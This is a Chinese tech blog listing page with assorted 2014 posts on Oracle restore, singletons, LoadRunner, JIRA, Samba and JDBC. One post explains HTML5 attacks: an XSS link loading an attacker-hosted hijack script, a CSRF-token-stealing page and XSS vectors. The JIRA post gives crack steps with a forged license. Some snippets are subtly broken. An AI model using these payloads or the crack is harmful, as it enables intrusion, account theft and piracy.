qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

Oracle数据库冷备份的还原及emca重建资料库

 删除oracle数据库中已经建立的数据库,按照备份的oracle路径重新安装新建数据库,路径、数据库SMID必须和原来的完全一致。
  停止所有的Oracle服务,到oracle安装目录下,把新建的数据库删除,把备份的文件夹复制进来。
  重新启动oracle服务,此时可以通过sqlplus对数据库进行相关的操作,但要使用EM(Enterprise Manager)对数据库进行管理时会显示“Enterprise Manager 无法连接到数据库实例,下面列出了组件的状态”的信息,此时EM无法正常使用。出现问题的原因很多,可以用emca重建资料库解决。
  emca重建资料库:
  用sqlplus登录,删除早期DBCONSOLE创建的用户:
  SQL> dropuser sysman cascade;
  若正常的话会等待一段时间,可能会出现如下错误:
  =========================================================
  ERROR at line 1:
  ORA-06553: PLS-801: internal error [56319]
  =========================================================
  错误原因:用64位系统上的备份片将数据库还原到32位系统中所产生,反过来也会产生此错误。
  解决方案:运行脚本用32位系统重新编译一下内核参数即可
  SQL> shutdown immediate;
  SQL> startup upgrade;
  SQL> @?/rdbms/admin/utlirp.sql
  SQL> @?/rdbms/admin/utlrp.sql
  SQL> shutdown immediate;
  SQL> startup;
  其中:
  utlirp.sql的作用是把相关内容全部在32bit平台下编译一遍.
  utlrp.sql的作用是编译所有失效对象.
  然后再重新连接,就不会报错了。
  接下来继续重建资料库
  SQL> droprole MGMT_USER;
  SQL> dropuser MGMT_VIEW cascade;
  删除早期DBCONSOLE创建的对象:
  SQL> droppublic synonym MGMT_TARGET_BLACKOUTS;
  SQL> droppublic synonym SETEMVIEWUSERCONTEXT;
  在配置oem时遇到“DBSNMP 用户名或密码无效”的错误,原因是DBSNMP系统用户可能被锁用,所以我们首先解锁DBSNMP用户。
  登录:SQL> conn sys/密码 as sysdba
  解锁:SQL> alter user dbsnmp account unlock;
  提交:SQL> commit;
  修改密码:SQL> alter user dbsnmp identified by 你的新密码;
  提交:SQL> commit;
  注意:提交很重要,不然解锁不会生效。
 开始重新创建资料库,在命令行执行以下命令:
  [oracle@localhost~]emca -repos recreate
  此时如出现(一般不会出现)如下错误:
  =========================================================
  ORA-12526: TNS:listener: all appropriate instances are in restricted mode
  =========================================================
  意思是:连接oracle数据库出现oracleORA-12526: TNS:监听程序: 所有适用例程都处于受限模式。
  原因是之前改字符集时执行了:
  [oracle@localhost~]# ALTER SYSTEM ENABLE RESTRICTEDSESSION;
  导致受限
  解决办法:使用系统管理员身份运行以下一段代码
  [oracle@localhost~]# ALTER SYSTEM DISABLE RESTRICTEDSESSION;
  解决完以后再次执行:
  [oracle@localhost~]# emca -repos recreate
  此时会提示输入相关参数,按照提示输入即可,其中监听程序端口号为: 1521 ,等待一小会时间,执行完毕以后再停止agent:
  [oracle@localhost~]# emctl stop agent
  最后开始重建资料库:
  [oracle@localhost~]# emca -config dbcontrol db
  此时同样会提示输入相关参数,按照提示输入即可,其中监听程序端口号还是为为: 1521 ,其中通知的电子邮件地址 (可选)和通知的发件 (SMTP) 服务器 (可选)两项可以不写,直接按enter键。
  再次等待一小会时间,执行完毕以后重建资料库成功,启动Enterprise Manager:
  [oracle@localhost ~]# emctl start dbconsole
  在浏览器地址栏输入:http://localhost:1158/em即可使用Enterprise Manager管理数据库。若其他机器无法连接,关闭防火墙即可。

posted @ 2014-04-22 18:36 顺其自然EVO 阅读(264) | 评论 (0)编辑 收藏

Java模式设计之单例模式

 在Java程序设计中经常会用到单例模式,但是很多时候程序员却不知道什么时候该使用单例模式,或者怎么使用单例模式。
  我们总结分析单例模式的时候,了解到单例模式的要点有三个:一是某个类只能有一个实例;二是它必须自行创建这个事例;三是它必须自行向整个系统提供这个实例。在下面的对象图中,有一个"单例对象",而"客户甲"、"客户乙"和"客户丙"是单例对象的三个客户对象。可以看到,所有的客户对象共享一个单例对象。而且从单例对象到自身的连接线可以看出,单例对象持有对自己的引用。
  单例模式在资源管理器中应用。
  一些资源管理器常常设计成单例模式。
  在计算机系统中,需要管理的资源包括软件外部资源,譬如每台计算机可以有若干个打印机,但只能有一个Printer Spooler, 以避免两个打印作业同时输出到打印机中。每台计算机可以有若干传真卡,但是只应该有一个软件负责管理传真卡,以避免出现两份传真作业同时传到传真卡中的情况。每台计算机可以有若干通信端口,系统应当集中管理这些通信端口,以避免一个通信端口同时被两个请求同时调用。
  需要管理的资源包括软件内部资源,譬如,大多数的软件都有一个(甚至多个)属性(properties)文件存放系统配置。这样的系统应当由一个对象来管理一个属性文件。
  需要管理的软件内部资源也包括譬如负责记录网站来访人数的部件,记录软件系统内部事件、出错信息的部件,或是对系统的表现进行检查的部件等。这些部件都必须集中管理,不可政出多头。
  这些资源管理器构件必须只有一个实例,这是其一;它们必须自行初始化,这是其二;允许整个系统访问自己这是其三。因此,它们都满足单例模式的条件,是单例模式的应用。
  分析单例模式的结构。
  单例模式有以下的特点:
  1、单例类只可有一个实例。
  2、单例类必须自己创建自己这惟一的实例。
  3、单例类必须给所有其他对象提供这一实例。虽然单例模式中的单例类被限定只能有一个实例,但是单例模式和单例类可以很容易被推广到任意且有限多个实例的情况,这时候称它为多例模式(Multiton Pattern) 和多例类(Multiton Class)。
  由于Java 语言的特点,使得单例模式在Java 语言的实现上有自己的特点。这些特点主要表现在单例类如何将自己实例化上。
  饿汉式单例类
  这是在Java 语言里实现得最为简便的单例类,下面所示的类图描述了一个饿汉式单例类的典型实现。
  从图中可以看出,此类已经自已将自己实例化。
  代码清单1:饿汉式单例类
public class EagerSingleton
{
private static final EagerSingleton m_instance =
new EagerSingleton();
/**
* 私有的默认构造子
*/
private EagerSingleton() { }
/**
* 静态工厂方法
*/
public static EagerSingleton getInstance()
{
return m_instance;
}
}
  读者可以看出,在这个类被加载时,静态变量m_instance 会被初始化,此时类的私有构造子会被调用。这时候,单例类的惟一实例就被创建出来了。
  Java 语言中单例类的一个最重要的特点是类的构造子是私有的,从而避免外界利用构造子直接创建出任意多的实例。值得指出的是,由于构造子是私有的,因此,此类不能被继承。

 懒汉式单例类
  与饿汉式单例类相同之处是,类的构造子是私有的。与饿汉式单例类不同的是,懒汉式单例类在第一次被引用时将自己实例化。如果加载器是静态的,那么在懒汉式单例类被加载时不会将自己实例化。如下图所示,类图中给出了一个典型的饿汉式单例类实现。
  代码清单2:懒汉式单例类
package com.javapatterns.singleton.demos;
public class LazySingleton
{
private static LazySingleton
m_instance = null;
/**
* 私有的默认构造子,保证外界无法直接实例化
*/
private LazySingleton() { }
/**
* 静态工厂方法,返还此类的惟一实例
*/
synchronized public static LazySingleton
getInstance()
{
if (m_instance == null)
{
m_instance = new LazySingleton();
}
return m_instance;
}  }
  同样,由于构造子是私有的,因此,此类不能被继承。饿汉式单例类在自己被加载时就将自己实例化。即便加载器是静态的,在饿汉式单例类被加载时仍会将自己实例化。单从资源利用效率角度来讲,这个比懒汉式单例类稍差些。
  从速度和反应时间角度来讲,则比懒汉式单例类稍好些。然而,懒汉式单例类在实例化时, 必须处理好在多个线程同时首次引用此类时的访问限制问题,特别是当单例类作为资源控制器,在实例化时必然涉及资源初始化,而资源初始化很有可能耗费时间。这意味着出现多线程同时首次引用此类的机率变得较大。
  饿汉式单例类可以在Java 语言内实现, 但不易在C++ 内实现,因为静态初始化在C++ 里没有固定的顺序,因而静态的m_instance 变量的初始化与类的加载顺序没有保证,可能会出问题。这就是为什么GoF 在提出单例类的概念时,举的例子是懒汉式的。他们的书影响之大,以致Java 语言中单例类的例子也大多是懒汉式的。实际上,本书认为饿汉式单例类更符合Java 语言本身的特点。
  使用单例模式必要条件:
  下面我们探讨一下使用单例模式的必要条件。
  在一个系统要求一个类只有一个实例时才应当使用单例模式。反过来说,如果一个类可以有几个实例共存,那么就没有必要使用单例类。但是有经验的读者可能会看到很多不当地使用单例模式的例子,可见做到上面这一点并不容易,下面就是一些这样的情况。
  例子一
  问:我的一个系统需要一些"全程"变量。学习了单例模式后,我发现可以使用一个单例类盛放所有的"全程"变量。请问这样做对吗?
  答:这样做是违背单例模式的用意的。单例模式只应当在有真正的"单一实例"的需求时才可使用。
  一个设计得当的系统不应当有所谓的"全程"变量,这些变量应当放到它们所描述的实体所对应的类中去。将这些变量从它们所描述的实体类中抽出来,放到一个不相干的单例类中去,会使得这些变量产生错误的依赖关系和耦合关系。
  例子二
  问:我的一个系统需要管理与数据库的连接。学习了单例模式后,我发现可以使用一个单例类包装一个Connection对象,并在finalize()方法中关闭这个Connection对象。这样的话,在这个单例类的实例没有被人引用时,这个finalize() 对象就会被调用,因此,Connection 对象就会被释放。这多妙啊。
  答:这样做是不恰当的。除非有单一实例的需求,不然不要使用单例模式。在这里Connection 对象可以同时有几个实例共存,不需要是单一实例。
  单例模式有很多的错误使用案例都与此例子相似,它们都是试图使用单例模式管理共享资源的生命周期,这是不恰当的。
  下面简单说一下,笔者现在学习安卓,写了一个很小的音乐播放播放器,自己写了一个application。Application和Actovotu,Service一样是android框架的一个系统组件,当android程序启动时系统会创建一个 application对象,用来存储系统的一些信息。通常我们是不需要指定一个Application的,这时系统会自动帮我们创建,如果需要创建自己的Application,也很简单创建一个类继承 Application并在manifest的application标签中进行注册(只需要给Application标签增加个name属性把自己的 Application的名字定入即可)
package com.frewen.ttplayer;
importjava.util.ArrayList;
importjava.util.LinkedList;
importjava.util.List;
importandroid.app.Activity;
importandroid.app.Application;
importandroid.content.Context;
importandroid.graphics.Bitmap;
importandroid.graphics.BitmapFactory;
importandroid.media.MediaPlayer;
importandroid.util.Log;
import com.frewen.ttplayer.entry.Music;
import com.frewen.ttplayer.entry.impl.Musicdata;
import com.frewen.ttplayer.util.MusicPreference;
public classMyApplication extends Application {
public static MediaPlayer mediaPlayer;
public static MusicPreferencemusicPreference;
public static ArrayList<Music> musics= new ArrayList<Music>();
public static boolean isStart = false;
public List<Activity> activityList =new LinkedList<Activity>();
public static Bitmap bitmap_l;
public static Bitmap bitmap_s;
public static MyApplication instance;
public ArrayList<Music> getMusics() {
return musics;
}
public static Context context;
@Override
public void onCreate() {
super.onCreate();
context = getApplicationContext();
new Thread(new Runnable() {
@Override
public void run() {
setMusics(Musicdata.getMultiDatas(context));
bitmap_l = BitmapFactory.decodeResource(context.getResources(),
R.drawable.default_bg_l);
bitmap_s =BitmapFactory.decodeResource(context.getResources(),
R.drawable.default_bg_s);
}
}).start();
mediaPlayer = new MediaPlayer();
musicPreference = new MusicPreference(context);
}
public void setMusics(ArrayList<Music>ms) {
musics.clear();
musics = ms;
Log.i("test", "列表长度" + this.musics.size());
}
public MyApplication() {
}
// 单例模式中获取唯一的MyApplication实例
public static MyApplication getInstance() {
if (null == instance) {
instance = new MyApplication();
}
return instance;
}
// 添加Activity到容器中
public void addActivity(Activity activity) {
activityList.add(activity);
}
// 遍历所有Activity并finish
public void exit() {
for (Activity activity : activityList) {
activity.finish();
}
System.exit(0);
}
/**
* 向musics集合中追加一组miusic信息
*
*@param musics
*/
public void append(ArrayList<Music>musics) {
if (musics != null) {
this.musics.addAll(musics);
}
}
public void append(Music music) {
if (music != null) {
this.musics.add(music);
}
}
}
  android系统会为每个程序运行时创建一个Application类的对象且仅创建一个,所以Application可以说是单例 (singleton)模式的一个类.application对象的生命周期是整个程序中最长的,它的生命周期就等于这个程序的生命周期。因为它是全局的单例的,所以在不同的Activity,Service中获得的对象都是同一个对象。所以通过Application来进行一些,数据传递,数据共享等,数据缓存等操作。

posted @ 2014-04-22 18:32 顺其自然EVO 阅读(335) | 评论 (0)编辑 收藏

LoadRunner中log的使用总结

 1、log的设置方式。
  在 runtime setting中可以设置log的生成方式:
  默认的log方式:
  Enable logging选中,log option是Send messages only when an error occurs.
  可以修改日志的方式:
  Always send messages(这种方式会一直打印输出日志,不仅在错误时)
  standard log——记录所有的请求反馈的日志,包括successful和fail的日志。
  Extended log——可提供扩展的日志信息,包括
  Parameter subsititution——日志中打印所有中使用的参数值。
  Data returned by server——日志中打印每个客户端请求服务器返回的数据值
  Advanced trace——日志中打印所有的消息信息和函数执行信息
  2、log的存储方式
  log的存储路径在res文件夹下。
  如果是从脚本中直接关联create scenario则在脚本的目录下的res下。如果是直接create scenario然后再选择脚本的话,则存储在c盘,如“C:\Documents and Settings\USERNAME\Local Settings\Temp\res\log”
  具体该场景的日志结果存哪,可以查看controll的result界面的result setting定义的目录。
  根据不同的log记录级别,在log文件中记录日志。
  3、log信息的分析
  1)从log中得到虚拟用户失败的原因。
  通常如果场景在运行时出现用户失败,则先要查看错误原因,可直接查看日志,从日志中查看ERROR的信息;
  从outputdb中可以查看到错误代码ERROR CODE
  2)从日志中确认每次分配给虚拟用户的参数值
  想判断是否在场景中每个用户使用不同的或预定义规则的参数,可以通过在log生成规则处设定为parameter subsititution,然后查看每个日志文件中的对应行参数值是否为预计的参数值。可从此判断出是否同用户的实际使用类似,是否达到对服务器的压力策略。
  3)从日志中确认服务器端返回的值是什么。
  在脚本中通常设定了检查点,检查点策略是否生效,如果对此产生怀疑则可以考虑从日志中查看一下。查看服务器返回的值来验证是不是所期待得到的值。
  思考问题
  log的输出 会不会影响到客户端,会不会使客户端成为瓶颈?(认为是会的,任何程序都是要消耗资源的,loadrunner也一样,所以选取日志输出的模式是要谨慎考虑尽量以适用为前提)

posted @ 2014-04-22 18:31 顺其自然EVO 阅读(610) | 评论 (0)编辑 收藏

Linux平台部署jira

 环境:Linux+jdk+atlassian-jira-enterprise-4.0.2-standalone+mysql
  一、安装、配置jdk
  1、安装jdk
  chmod +x jdk-6u21-linux-i586.bin
  ./jdk-6u21-linux-i586.bin
  mv jdk1.6.0_21 /usr/local/jdk
  2、设置jdk环境
vi /etc/profile
JAVA_HOME=/usr/local/jdk
JRE_HOME=/usr/local/jdk/jre
CLASSPATH=.:$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar
PATH=$JAVA_HOME/bin:$PATH
export JAVA_HOME
export JRE_HOME
export PATH
export CLASSPATH
source /etc/profile
  二、安装mysql、及相应配置
  mysql安装步骤忽略。下面说下部署jira的前mysql上的相关设置
  创建jiradb库    mysql> create database jiradb character set utf8;
  添加一个用户,名为jira_user密码为1qaz@WSX,并赋予连接权限
  mysql> grant all privileges on *.* to 'jira_user'@'%' identified by '1qaz@WSX ' with grant option;
  mysql> grant all privileges on *.* to ‘jira_user’@localhost identified by '1qaz@WSX ' with grant option;
  mysql> flush privileges;
  三、安装jira
  1)tar zxvf atlassian-jira-enterprise-4.0.2-standalone.tar.gz
  mv atlassian-jira-enterprise-4.0.2-standalone /usr/local/jira
  2) 解压mysql-connector-java-5.0.8.tar.gz,
  将目录里的mysql-connector-java-5.0.8-bin.jar 文件拷到 /usr/local/jira/common/lib/ 目录下
  3) 编辑conf/server.xml
<Server port="8015" shutdown="SHUTDOWN">
<Service name="Catalina">
<Connector port="8090"
<Context path="" docBase="${catalina.home}/atlassian-jira" reloadable="false">
<Resource name="jdbc/JiraDS" auth="Container" type="javax.sql.DataSource"
username="jira_user"
password="1qaz@WSX"
driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://192.168.170.102/jirad
  [删除这里的minEvictableIdleTimeMillis and timeBetweenEvictionRunsMillis 参数]/>
  4)编辑 jira374/atlassian-jira/WEB-INF/classes/entityengine.xml, 改变 field-type-name 属性为mysql
  <datasource name="defaultDS" field-type-name="mysql"
  删除schema-name="PUBLIC"
  5)进入/usr/local/jira/atlassian-jira/WEB-INF/classes 目录下修改文件jira-application.properties ,设置jira.home = /usr/local/jira
  6) 启动jira
  进入bin目录
  ./catalina.sh start
  ./startup.sh
  四、破解
  下载jira破解包,将破解包里的东西解压后覆盖掉原来的,重启jira,在注册的授权码中就可以使用明文注册了如下:
Description=JIRA\: COMMERCIAL
CreationDate=2009-10-25
ContactName=haha@haha.haha
jira.LicenseEdition=ENTERPRISE
ContactEMail=haha@haha.haha
Evaluation=false
jira.LicenseTypeName=COMMERCIAL
jira.active=true
licenseVersion=2
MaintenanceExpiryDate=2099-10-24
Organisation=haha
jira.NumberOfUsers=-1
ServerID=B6FW-B4KW-J1A3-4DQB
LicenseID=LID
LicenseExpiryDate=2099-10-24
PurchaseDate=2009-10-25
  五、汉化
  我在部署过程中遇到汉化无效果的情况,原因是汉化跟系统自身的语言环境有关,系统语言环境一定要支持中文,汉化包自己去网上搜下就能找到。
  将language_ZH汉化包cp至/usr/local/jira/atlassian-jira/WEB-INF/lib
  重启jira

posted @ 2014-04-22 14:00 顺其自然EVO 阅读(211) | 评论 (0)编辑 收藏

Selenium如何选中某个checkbox

#选中某个checkbox
#第一种方法用xpath
checkboxs = bigc_Driver.find_elements_by_xpath("//input[@type='checkbox']")
#第二种方法用tag_name
#checkboxs = bigc_Driver.find_elements_by_tag_name("input")
print len(checkboxs)
for a in checkboxs:
if a.get_attribute('value')=='1':
a.click()
  执行结果:
  简要概述:
  这两种方法都可以,但是通过xpath查找的数量是3,而通过tag_name查找的数量是35,显然通过xpath更加精确点。
  这里使用到了循环,将所有的复核条件的checkbox取出来,然后将第一条记录勾选。

posted @ 2014-04-22 14:00 顺其自然EVO 阅读(641) | 评论 (0)编辑 收藏

揭密HTML5带来的攻击手法

 HTML5 是下一代的 HTML,HTML5赋予网页更好的意义和结构。更加丰富的标签将随着对RDFa的,微数据与微格式等方面的支持,构建对程序、对用户都更有价值的数据驱动的Web。基于HTML5开发的网页APP拥有更短的启动时间,更快的联网速度。本文详细介绍了HTML5的普及,带来的新的安全威胁。
  一:CORS(Cross-Origin Resource Sharing) 跨域资源共享
  为了构建高品质的网站,以及满足日益增长的用户需求,HTML5针对SOP(同源策略)放宽了一些限制,简单的说,同源策略允许来自同一站点的页面访问其页面的方法和属性等,但限制了跨域调用其他页面的方法和属性。现在HTML5放宽了这些限制,XMLHttpRequest Level 2新增了功能CORS协议,允许Ajax发起跨域的请求,浏览器是可以发起跨域请求的,比如你可以外链一个外域的图片或者脚本。但是Javascript脚本是不能获取这些资源的内容的,它只能被浏览器执行或渲染。
  COR是页面层次的控制模式。每一个页面需要返回一个名为‘Access-Control-Allow-Origin’的HTTP头来允许外域的站点访问。你可以仅仅暴露有限的资源和有限的外域站点访问。在COR模式中,访问控制的职责可以放到页面开发者的手中,而不是服务器管理员。当然页面开发者需要写专门的处理代码来允许被外域访问。
  所以只要b.com允许,a.com可以使用ajax获取A上任意数据,国外安全研究者Lava Kumar开发了一款工具“Shell of the future”。
  Shell of the Future 是一个反向Web Shell处理工具(Reverse Web Shell handler)。利用跨站脚本攻击或浏览器地址栏注入javascript以后,Shell of the Future可进行劫持会话。 它利用了HTML5支持的Cross Origin Requests,可以绕过一些反会话劫持的方法,如HTTP-Only限制的cookie,帮定IP地址的会话ID。
  如何使用该工具:
  1、下载并解压该工具,双击“Shell of the Future.exe”,会弹出一个窗口。
  2、输入任意端口,点击“Start”。

3、使用浏览器访问http://127.0.0.1:8008/sotf.console (firefox效果最佳)
  4、不出问题,你将看到以下画面。(Shell of the Future有两个JavaScript的exp- e1.js和e2.js,我们可以利用XSS漏洞将其嵌入到受害者的浏览器)
  5、当一个用户登录下面的测试网站:
  http://www.testfire.net/bank/login.aspx (admin/admin)
  该站点的搜索功能粗在一个XSS漏洞,http://www.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%2812%29%3C%2Fscript%3E
  6、攻击者发送一个恶意链接给用户,如下:
  http://www.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E
  7、当用户点击之后,攻击者的IP地址将会发送给攻击者,然后点击“Hijack Session”:
  8、点击Hijack Session之后,将出现如下画面:
  二:窃取CSRF令牌(token)
  目前很多互联网站点都在使用token来防御CSRF攻击,但是随着HTML5技术的普及,攻击者很有可能窃取到CSRF的token,如果CSRF token的请求URL(GET请求),利用前面提到的CORS协议,攻击者可以注入一个CSRF payload跨域请求到目标站点上。当然,利用的话需要服务端添加一个HTTP 头字段“origin”,并且需要设置该属性withCredentials为true,让我们来看看如何利用:
  1、某用户登录www.bank.com。
  2、假设该站点有CSRF保护,即在表单提交的地方添加了隐藏的token,然后发送GET请求到服务端进行验证,如下:
  <input type=”hidden” id=”test” name=”csrfToken” value=”12345678″ />
  请求如下:
  http://www.bank.com/Confirmation.jsp?value=200&csrfToken=1234234523
  3、攻击者通过email、IM聊天工具或其他方式发送一个恶意站点ww.attackersite.com
  4、攻击者可以提交一个Ajax请求到www.bank.com并且执行一些操作,但是需要知道CSRF的token值。
  5、所以攻击者需要窃取到token令牌,然后进行CSRF攻击。
  6、攻击者编写了下面的一段代码,发送Ajax请求到ConfirmTransfer.jsp页面并接受其响应,在返回的数据包中搜索csrfToken,找到后,另外一个Ajax请求被发送,其中包含了CSRF token。
<!DOCTYPE html> <html> <head> <script> function testing() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("GET","http://bank/Myapp/ConfirmTransfer.jsp",false); xmlhttp.send(); if(xmlhttp.status==200) { var str=xmlhttp.responseText; var n=str.search("csrfToken"); var final=str.substring(n+18,n+28); var url = "http://bank/Myapp/TransferFund.jsp?datum1%2F=06-06-2013&amp;Account=1234&amp;csrfToken=" + escape(final); xmlhttp.open("GET", url, true); xmlhttp.send(); } } </script> </head> <body onload="testing();"> </body> </html>
  以上的一切操作全在后台进行,用户完全不知情,因此,在HTML5中,攻击者完全可能获取到CSRF TOKEN和执行一些操作。

  三:访问内部服务器:
  很多互联网公司除了有ONLINE对外的业务之外,在内部也用着很多的应用,如财务管理系统、员工管理系统以及其他的一些内部社区等,很多开发者为了各个应用之间调用简洁方便,在很多应用中都添加了以下头:
  Control-Allow-Origin: *
  攻击者可以利用社会工程学,让内部用户点击一个链接,然后攻击者就可以访问到内部的一些资源,以下为操作步骤:
  1、员工登录到内部的某应用,如www.internalurl.com
  2、internalurl服务器返回的响应头设置了Access-Control-Allow-Origin: *(允许任何域发起的请求都可以获取当前服务器的数据。)
  3、员工受到一封邮件,点击了链接 – www.malicioussite.com
  4、这个站点包含了正常的UI内容,所以员工一般不会察觉,但是,该页面包含了一段javascript代码。
  5、该javascript代码会发送一个XMLHttpRequest请求。
  6、分析返回的数据包,并把它发送到攻击者的服务器。
  7、攻击者获取到公司内部站点的相关信息。
  四:HTML5新的XSS攻击载体
  直到现在,还有很多开发者总喜欢开发自己定义的XSS黑名单过滤器,以阻止XSS攻击,包含了大多网络上常见的XSS利用的代码,如<img、<script等,HTML5中引入了很多新的标签属性,如audio和vedio标签,新的标签带来了新的事件,会绕过现有的过滤器,以下为收集的HTML5存在跨站的标签:
  <video> <source onerror=”javascript:alert(1)”> <video onerror=”javascript:alert(1)”><source> <audio onerror=”javascript:alert(1)”><source> <input autofocus onfocus=alert(1)> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <button form=test onformchange=alert(2)>X <form><button formaction=”javascript:alert(1)”
  关于XSS的防护可参考freebuf上jiayzhan的XSS解决方案系列文章。
  XSS解决方案系列之一:淘宝、百度、腾讯的解决方案之瑕疵
  XSS解决方案系列之二:知其所以然—浏览器是如是解码的
  XSS解决方案系列之三: 例解过后,再回首您正在维护的产品
  XSS解决方案系列之四:关于编码
  五:离线Web应用缓存中毒:
  大部分浏览器都支持HTML离线缓存技术,如Google Chrome, Mozilla, Opera以及Safari,在给用户带来便捷的同时,也引发了一些列的安全威胁,如很有可能遭受“缓存中毒”的攻击。如果攻击者在网站上嵌入特定的JS文件,能够控制用户的账户。HTML5提供了manifest功能,它是html5提供的离线web应用解决方案,它的作用有两个:
  1. 连网情况下,访问使用manifest的页面时(之前曾经访问过),会先加载一个manifest文件,如果这个manifest文件没有改变,页面相关的资源便都来自浏览器的离线缓存,不会再有额为的网络请求,从而大大提高页面相应时间
  2. 断网时,在浏览器地址栏输入页面url,仍然能够正常显示页面,以及正常使用不依赖ajax的功能
  利用这个功能,攻击者可以窃取用户的凭据,利用方法如下:
  1、某黑木耳在星巴克链接到了一个不安全的WI-FI网络环境。(攻击者打造)
  2、该黑木耳登录新浪微博,攻击者可劫持。
  3、攻击者设置该网站返回一个页面,该页面包含了一个隐藏的iframe,提示新浪微博登陆。
  4、由于该网络是由攻击者控制,所以他提供的新浪微博登陆页面中包含了manifest属性,除了可以当场劫持到黑木耳的微博帐号密码之外,后面还可以长期劫持。
  5、当黑木耳喝完老干妈牌拿铁之后,拿着心爱的神舟牌笔记本回家之后,想继续晒自己的照片,继续登录微博。
  6、浏览器会从缓存中载入伪造的登录页面。
  7、帐号密码随后会发送到攻击者。
  因此,通过manifest属性可以窃取用户的凭据,以上都是一些已经研究出来的攻击手法,相信随着HTML5的高度发展,未来几年内会出现更多的攻击手法。

posted @ 2014-04-22 13:59 顺其自然EVO 阅读(272) | 评论 (0)编辑 收藏

测试人必备的5类测试辅助工具

阿基米德说:“给我一根杠杆和一个支点,我将撬起整个地球” -这就是工具的力量。
  我们常常在DiggerPlus上分享各种性能测试工具,自动化测试工具,安全渗透测试工具等,但是我们今天要分享的这5款工具,对于测试人的日常工作来说也非常重要,而且也非常常用,重新提起他们,是因为他们很多时候被我们忽略了。
  测试人必备的5类测试辅助工具
  测试工具
  下面,我们将罗列出这5类测试辅助工具,不要感到惊讶,确实,他们就在每一位测试人身边:
  1. Excel
  2. 截图工具
  3. 打包/压缩解压缩工具
  4. 便签软件
  5. 传统的笔和纸
  Excel
  是的,目前,我们还没有发现一款工具能像excel这样适合做测试辅助工具,我们常常用它来存放我们的测试用例等,excel有着天然的优势:
  测试人必备的5类测试辅助工具
  
熟悉的Excel
 1. excel的行列格式非常适用于我们组织测试需求,测试用例和填写bug记录。
  2. excel的函数功能,图形功能非常强大,我们常常用它来组织一些性能测试数据,并在excel中生成性能数据曲线。
  3. excel的sheet可以创建多个,让我们可以很方便地对内容进行分类。
  4. 许多测试管理工具直接可以支持excel数据的导入导出。
  屏幕捕捉工具
  在重现bug的时候,很难描述清楚一些复杂的操作过程,这个时候善于利用屏幕捕获工具是一件很称心的事情,
  这里我们推荐snagit
  当然,你也可以使用我们之前分享的一些有趣的新工具,比如这款:
  Screentogif
  熟悉打包命令,压缩解压缩工具
  对于winrar等工具,各位测试人应该再熟悉不过了,在linux端经常做测试的童鞋应该也要擅长和熟知tar工具,常用的打包工作是测试人必备的技能,比如将日志打印打包,将各种记录打包等。
  便签工具
  我们常常看到测试人的屏幕上贴着各种各样五颜六色的便签,当然了,这些是用便签软件生成的,便签软件在网路上随处可见,但是经常保持这个好习惯可以让你的思路更加清晰,很多时候,做事情也更加具有条理一些。
  传统的笔和纸
  传统的笔和纸
  对的,你没有看错,这不是一种过时的工具,笔和纸永远是促进人类文明的好工具,当我们在构思性能测试场景的时候你会派上用场的,相信我,甚至在开发测试框架,测试工具的时候,你需要做的就是把你的思路写出来或者画出来,我们的大脑就是这样的神奇。
  不要小看了这5类简单的测试辅助工具,用好他们是不易的。

posted @ 2014-04-22 13:58 顺其自然EVO 阅读(222) | 评论 (0)编辑 收藏

Linux环境下搭建samba服务

 1.建立samba用户
  用root用户,执行以下命令:
  useradd -d /home/samba -m -U
  chown -R samba:samba /home/samba
  2.配置samba
  2.1用root用户,执行以下命令:
setsebool -P samba_domain_controller on
setsebool -P samba_enable_home_dirs on
  2.2修改/etc/samba/smb.conf文件:
  2.2.1 修改语言配置,让samba支持中文文件名
  查找[global],在[global]这一行下面增加下面的内容
# ----------------------- Language settings -------------------------
display charset = cp936
dos charset = cp936
unix charset = cp936
  2.2.2查找[homes],找到[homes]的配置段,将该段配置修改为
comment = Home Directories
browseable = no
writable = yes;
valid users = %S;
valid users = MYDOMAIN\%S;
  3.增加samba用户
  用root用户,执行smbpasswd -a samba,会提示输入新密码。
  4.修改linux系统语言
  编辑/etc/sysconfig/i18n文件,将文件内容修改为以下内容:
LANG="zh_CN.gb18030"
LANGUAGE="zh_CN.GB18030:zh_CN.GB2312:zh_CN"
SUPPORTED="zh_CN.GB18030:zh_CN.GB2312:zh_CN.UTF-8:zh:en_US.UTF-8:en_US:en:ja_JP.UTF-8:ja_JP:ja"
  5.重启samba
  用root用户,执行: service samba reboot
  6.在windows中访问共享文件夹
  打开文件夹,在地址栏输入 \\samba服务器ip地址,会弹出提示框要求输入用户名和密码,用户名填samba,密码填在第3步中输入的密码,文件夹中就会看到samba这个共享文件夹。该文件夹具有读取和写入权限。

posted @ 2014-04-21 12:56 顺其自然EVO 阅读(226) | 评论 (0)编辑 收藏

各种JDBC连接数据库的常用代码

MySQL
String Driver="com.mysql.jdbc.Driver";    //驱动程序
String URL="jdbc:mysql://localhost:3306/db_name"?useUnicode=true&amp;characterEncoding=UTF-8;    //连接的URL,db_name为数据库名,注意修改编码类型
String Username="username";    //用户名
String Password="password";    //密码
Class.forName(Driver).new Instance();
Connection con=DriverManager.getConnection(URL,Username,Password);
JTDS2.0:
String Driver=" net.sourceforge.jtds.jdbc.Driver";    //驱动程序
String URL="jdbc:jtds:sqlserver://localhost:1433/db_name";
String Username="username";    //用户名
String Password="password";    //密码
Class.forName(Driver).new Instance();
Connection con=DriverManager.getConnection(URL,Username,Password);
Microsoft SQL Server 2.0驱动(3个jar的那个):
String Driver="com.microsoft.jdbc.sqlserver.SQLServerDriver";    //连接SQL数据库的方法
String URL="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=db_name";    //db_name为数据库名
String Username="username";    //用户名
String Password="password";    //密码
Class.forName(Driver).new Instance();    //加载数据可驱动
Connection con=DriverManager.getConnection(URL,UserName,Password);    //
Microsoft SQL Server 3.0驱动(1个jar的那个):
String Driver="com.microsoft.sqlserver.jdbc.SQLServerDriver";    //连接SQL数据库的方法
String URL="jdbc:sqlserver://localhost:1433;DatabaseName=db_name";    //db_name为数据库名
String Username="username";    //用户名
